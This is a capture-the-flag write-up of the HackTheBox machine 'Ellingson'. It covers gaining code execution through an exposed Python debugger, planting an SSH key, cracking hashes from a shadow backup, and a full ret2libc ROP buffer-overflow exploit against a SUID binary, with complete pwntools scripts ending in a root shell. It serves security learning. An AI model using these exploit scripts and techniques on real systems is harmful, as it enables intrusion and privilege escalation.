HTB: Ellingson
Posted on 21 Oct 2019 in security • 10 min read
This is a writeup about a retired HacktheBox machine: Ellingson This box is classified as a hard machine. The user is not too hard to get as it require to know python and password's cracking. The root part is really hard as this require the exploitation of a ROP buffer overflow.
Note: if you just want to play with the buffer overflow, the binary is available on this site, just go to the "Analysing the Buffer Overflow" section.
Recon
We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.
# Nmap 7.80 scan initiated Thu Sep 26 13:34:45 2019 as: nmap -oA 10.10.10.139 -sSV 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.086s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 26 13:35:00 2019 -- 1 IP address (1 host up) scanned in 14.76 seconds
Web
The website is a standard corporate website (we can appreciate the dynamic rendering).
When browsing the articles, we notice that there is an ID at the end of the URL.
If we put a non standard value like 2-1
or put an ID greater than expected we
generate an error and a stacktrace. This debugger integrate a python
interpretor:
User
From there we can input python's commands and using the OS
module we can
execute command on the system. In order to get a shell we can simply upload our
SSH public key in the current user (hal) authorized_keys
file.
>>> import os; os.popen('whoami').read()
'hal\n'
>>> import os; os.system('mkdir ~/.ssh/')
256
>>> import os; os.system('echo \'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6A/eqoQWIz14pbJ4L3Tsf+GzWv/O8Ym81ICPKpmyEl9cr3DyqCETUijFpMl6LYsdgc97EEdR6d2Xa2mpGMyDHRJSQGJJf2KehUBi6EqrkyEnPfMWNso50UtvzLwOUuxXTYmQ8iTGk3V5PbM0NHG7UQsABELrDL11NNKlV3XkuHE/yTuJQ0f80/ZDQFC7BzIfsl5iE3RmE+kRxTOyxniGwFW1bxYVW1Iqfw7isNVSyn0lkRgkSQjb2fKtFPdGughBm2j3O0+aPrRQyC7iytabc/Y8R248ziAVxqP/Nq8CEFAGXXoX8LS9WSIUfvMwqWevjbUxIKivOfGP9G8Tb994KaQFPUH13oku6GtoymAcaKjuscAHiD7q+1RJqOLg1qV7HVOzMFe46NdmGrK1dGqydfkTVjgwWJk0Swe/wJM8bIYIt6rG8/1kKDgBh86XeP4HDtj+fQo0+07RVrnFXPdBliyKPWIV2sz+qO/JCyX73YgYupps1/lsLb+l4N1BaUnk=\'>>~/.ssh/authorized_keys')
0
>>> import os; os.system('chmod 644 ~/.ssh/authorized_keys')
0
As our SSH public key is in hal's authorzied_key
we can connect as hal using
SSH and starting to enumerate. The user flag is not in the hal's home folder:
sh 10.10.10.139 -lhal
hal@ellingson:~$ whoami
hal
hal@ellingson:~$ ls /home/
duke hal margo theplague
We enumerate the box and find an interesting non standard SUID binary:
hal@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
Nevertheless we do not have the permission to execute it:
hal@ellingson:~$ ls -al /usr/bin/garbage
-rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
hal@ellingson:~$ /usr/bin/garbage
User is not authorized to access this application. This attempt has been logged.
We need another way. We see that we are in the group adm
(in addition to our user group):
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
I struggled for a long time here before someone on the official discord told
me that after a few hours
the file permissions are changed and the file does not belong to adm
group
anymore. I had to reset the box to find this file.
Let us list what files are belonging to this group:
hal@ellingson:~$ find / -group adm 2> /dev/null
/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
/snap/core/6405/var/log/dmesg
/snap/core/6405/var/log/fsck/checkfs
/snap/core/6405/var/log/fsck/checkroot
/snap/core/6405/var/spool/rsyslog
/snap/core/4917/var/log/dmesg
/snap/core/4917/var/log/fsck/checkfs
/snap/core/4917/var/log/fsck/checkroot
/snap/core/4917/var/spool/rsyslog
/snap/core/6818/var/log/dmesg
/snap/core/6818/var/log/fsck/checkfs
/snap/core/6818/var/log/fsck/checkroot
/snap/core/6818/var/spool/rsyslog
We cat the shadow.bak file and get some password hashes:
hal@ellingson:~$ cat /var/backups/shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
Let's crack them! It is a bit long as the hashing algorithm is SHA512 ($6). We
use john
with the rockyou dictionary.
john hash -w=~/tools/password_lists/rockyou.txt
john --show hash
theplague:password123:17964:0:99999:7:::
margo:iamgod$08:17964:0:99999:7:::
The first password was changed, as mention in the third article:
We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague
Nevertheless, we can connect as margo
using SSH and the cracked password. And we
retrieved the user flag:
ssh 10.10.10.139 -lmargo
margo@10.10.10.139's password:
Last login: Wed Oct 2 12:25:47 2019 from 10.10.15.42
margo@ellingson:~$ ls
user.txt
margo@ellingson:~$ cat user.txt
d0ff9e<redacted>
Root
Finding the SUID binary
Let's get back to the SUID binary:
margo@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
We run the binary, it ask for a password user input. If we put a wrong password we get an access denied. If we put a "long" password we get a segfault. This look like a buffer overflow:
margo@ellingson:~$ /usr/bin/garbage
Enter access password: test
access denied.
margo@ellingson:~$ /usr/bin/garbage
Enter access password: qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
access denied.
Segmentation fault (core dumped)
Let's copy the binary on our machine:
scp margo@10.10.10.139:/usr/bin/garbage ./
We check the flags of the binary:
root@kalili:~# gdb ./garbage
<snip>
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
The No-Execute bit is set. Therefore we need to use a ret2lib.
The ASLR is activated on the server:
margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2
As ASLR is on and the NX bit (no-execute) is set we will also need the box libc to do a ROP:
scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 ./
Analysing the Buffer Overflow
We load the binary in gdb peda and search for the size of the buffer.
gdb-peda$ r < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Starting program: /root/garbage < <(python -c 'print "A"*133+"B"+"C"+"D"+"E"+"F"+"G"+"H"+"J"')
Enter access password:
access denied.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7f1a0b24ead4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7f1a0b31f580 --> 0x0
RSI: 0x12a0ba0 ("access denied.\nssword: \n\220\v*\001")
RDI: 0x0
RBP: 0x4443424141414141 ('AAAAABCD')
RSP: 0x7ffedbba9290 --> 0x7ffedbba9380 --> 0x1
RIP: 0x4a48474645 ('EFGHJ')
R8 : 0xf
R9 : 0x7f1a0b31d848 --> 0x7f1a0b31d760 --> 0xfbad2a84
R10: 0x4005a5 --> 0x7475700073747570 ('puts')
R11: 0x246
R12: 0x401170 (<_start>: xor ebp,ebp)
R13: 0x7ffedbba9380 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction
overflow)
The buffer size is 136 (133+3). We could also use the peda's functions
pattern_create
and pattern_offset
to find it. Then we can start to write our exploitation
script using pwntools:
from pwn import *
p = process('./garbage')
context(os='linux', arch='amd64')
context(log_level="DEBUG")
junk = "A"*136
payload = junk
#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
p.interactive()
We want to get the dynamic address of LIBC
in order to be able to call a
specific function (let's say /bin/sh
). For that we need:
-
to find a
pop rdi
call. We use ropper for that::::text root@kalili:~# ropper --file ./garbage --search 'pop rdi' [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi
[INFO] File: ./garbage 0x000000000040179b: pop rdi; ret;
-
two informations about the PLT and GOT
puts
callsintoLIBC
. For that we can grep theobjdump
output::::text objdump -D garbage | grep puts 0000000000401050 puts@plt: 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC _2.2.5>
We add this addresses to our exploit and output the puts
address in LIBC
:
from pwn import *
p = process('./garbage')
context(os='linux', arch='amd64')
context(log_level="DEBUG")
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
junk = "A"*136
payload = junk + pop_rdi+ got_put + plt_put
#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
Here is the output of it (for sanity I commented the debugging option):
# python exploitP.py
[+] Starting local process './garbage': pid 1407
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @ T�Z\x7f\x00\x00
[*] Stopped process './garbage' (pid 1407)
# python exploitP.py
[+] Starting local process './garbage': pid 1411
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @pYBs\x7f\x00\x00
[*] Stopped process './garbage' (pid 1411)
# python exploitP.py
[+] Starting local process './garbage': pid 1415
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @0X\x0en\x7f\x00\x00
[*] Stopped process './garbage' (pid 1415)
We got the leaked address of the puts
call in LIBC.
As the ASLR is on, multiple runs give us different addresses for the puts
call
in LIBC. But our process logically stop. If we rerun it the address will be
different. Therefore we need to recall our main. We get the address using
objdump
:
objdump -D garbage | grep main
401194: ff 15 56 2e 00 00 callq *0x2e56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:
And we add it to our script:
from pwn import *
p = process('./garbage')
context(os='linux', arch='amd64')
context(log_level="DEBUG")
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)
junk = "A"*136
payload = junk + pop_rdi+ got_put + plt_put + plt_main
#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
# Leaked address printed in a readable format
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
ret2libc locally
We have the leak address of the puts
call in LIBC
. We can dynamically
compute the offset between our leaked address and the LIBC
address. For that
we need to found the puts
call in LIBC
:
# locate libc.so.6
/lib/x86_64-linux-gnu/libc.so.6
# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep puts 194: 0000000000074040 429 FUNC GLOBAL DEFAULT 14 _IO_puts@@GLIBC_2.2.5 426: 0000000000074040 429 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5
The "beginning" of LIBC
is then our leak address minus 0x74040
.
We now want to call a shell, for that we need the addresses of system
and
/bin/sh
in LIBC
:
# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep system
235: 0000000000129d20 99 FUNC GLOBAL DEFAULT 14 svcerr_systemerr@@GLIBC_2.2.5
613: 0000000000046ff0 45 FUNC GLOBAL DEFAULT 14 __libc_system@@GLIBC_PRIVATE
1421: 0000000000046ff0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
# strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh
183cee /bin/sh
As we want to exploit a SUID binary we also need to invoke the setuid
call:
# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep setuid
25: 00000000000c8ac0 144 FUNC WEAK DEFAULT 14 setuid@@GLIBC_2.2.5
Our exploit is now the following:
from pwn import *
p = process('./garbage')
context(os='linux', arch='amd64')
#context(log_level="DEBUG")
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)
junk = "A"*136
payload = junk + pop_rdi + got_put + plt_put + plt_main
#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
#unpack again
leaked_puts = u64(leaked_puts)
libc_put = 0x74040 #local
offset = leaked_puts - libc_put
log.info("ghttps://wappalyzer.com/libc offset: %x" % offset)
libc_sys = 0x46ff0 # local
libc_sh= 0x183cee # local
setuid = p64(0x0)
libc_setuid = p64(0xc8ac0 + offset) # local
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys
p.sendline(payload)
print p.recvline()
print p.recvline()
p.interactive()
When running the script we grab a shell (as I use my Kali VM on root we don't see a real privilege escalation):
# python exploit.py
[+] Starting local process './garbage': pid 1909
Enter access password:
access denied.
[+] Leaked puts@GLIBC: @P\x84tC\x7f\x00\x00
[*] glibc offset: 7f43747d1000
Enter access password:
access denied.
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Running the exploit remotely
In order to run the exploit remotely we need to change the LIBC
addresses with
the one we copy from the ellingson machine. We also need to change our process
to use the one remote. Pnwtools is
perfect for that as we just need to change our process
variable. Our final
scrip is now:
from pwn import *
shell = ssh('margo', '10.10.10.139', password='iamgod$08', port=22)
p=shell.process(['/usr/bin/garbage'])
context(os='linux', arch='amd64')
context(log_level="DEBUG")
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
plt_main = p64(0x401619)
junk = "A"*136
payload = junk + pop_rdi + got_put + plt_put + plt_main
#Enter access password: 123456
p.sendline(payload)
print p.recvline()
print p.recvline()
leaked_puts = p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))
#unpack again
leaked_puts = u64(leaked_puts)
libc_put = 0x74040 #local
libc_put = 0x809c0 # remote
offset = leaked_puts - libc_put
log.info("glibc offset: %x" % offset)
libc_sys = 0x46ff0 # local
libc_sys = 0x4f440 # remote
libc_sh= 0x183cee # local
libc_sh= 0x1b3e9a # remote
setuid = p64(0x0)
libc_setuid = p64(0xc8ac0 + offset) # local
libc_setuid = p64(0xe5970 + offset) # remote
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)
payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys
p.sendline(payload)
print p.recvline()
print p.recvline()
p.interactive()
The output of the script give us a root shell on the machine:
root@kalili:~# python exploitR.py
[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Starting remote process '/usr/bin/garbage' on 10.10.10.139: pid 3704
[DEBUG] Sent 0xa9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 9b 17 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000090 28 40 40 00 00 00 00 00 50 10 40 00 00 00 00 00 │(@@·│····│P·@·│····│
000000a0 19 16 40 00 00 00 00 00 0a │··@·│····│·│
000000a9
[DEBUG] Received 0x17 bytes:
'Enter access password: '
[DEBUG] Received 0x2e bytes:
00000000 0a 61 63 63 65 73 73 20 64 65 6e 69 65 64 2e 0a │·acc│ess │deni│ed.·│
00000010 c0 59 74 0f f5 7f 0a 45 6e 74 65 72 20 61 63 63 │·Yt·│···E│nter│ acc│
00000020 65 73 73 20 70 61 73 73 77 6f 72 64 3a 20 │ess │pass│word│: │
0000002e
Enter access password:
access denied.
[+] Leaked puts@GLIBC: �Yt\x0f�
[*] glibc offset: 7ff50f6c5000
[DEBUG] Sent 0xb9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 9b 17 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000090 00 00 00 00 00 00 00 00 70 a9 7a 0f f5 7f 00 00 │····│····│p·z·│····│
000000a0 9b 17 40 00 00 00 00 00 9a 8e 87 0f f5 7f 00 00 │··@·│····│····│····│
000000b0 40 44 71 0f f5 7f 00 00 0a │@Dq·│····│·│
000000b9
[DEBUG] Received 0x12 bytes:
'\n'
'access denied.\n'
'# '
Enter access password:
access denied.
[*] Switching to interactive mode
# $ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x31 bytes:
'uid=0(root) gid=1002(margo) groups=1002(margo)\n'
'# '
uid=0(root) gid=1002(margo) groups=1002(margo)
# $ cat /root/root.txt
[DEBUG] Sent 0x13 bytes:
'cat /root/root.txt\n'
[DEBUG] Received 0x23 bytes:
'1cc73<redacted>\n'
'# '
1cc73<redacterd>
Wrapping up
What a journey! Exploiting this buffer overflow allow me to learn a lot about
pwntools. The binary manipulation is a bit strange as
here is no need to wait for the garbage
binary to ask for the password. But
the possibility to exploit a remote binary so easily is something precious.
Automated pwn
We can also use pwntools to fully automate the exploit and make it compute the addresses automatically:
from pwn import *
p = process('./garbage', setuid=True)
context(os='linux', arch='amd64')
context(log_level="DEBUG")
elf = ELF('./garbage')
rop=ROP(elf)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop.search(regs=['rdi'], order='regs')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info('ROP chains:' + rop.dump())
junk = "A"*136
payload = junk + str(rop)
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.info('leaked puts: '+leaked_puts)
leaked_puts = u64(leaked_puts)
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search('/bin/sh\x00')))
log.info('ROP2: '+ rop2.dump())
payload = junk+str(rop2)
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied
p.interactive()
But this won't "fully" work as the SUID part is not in it.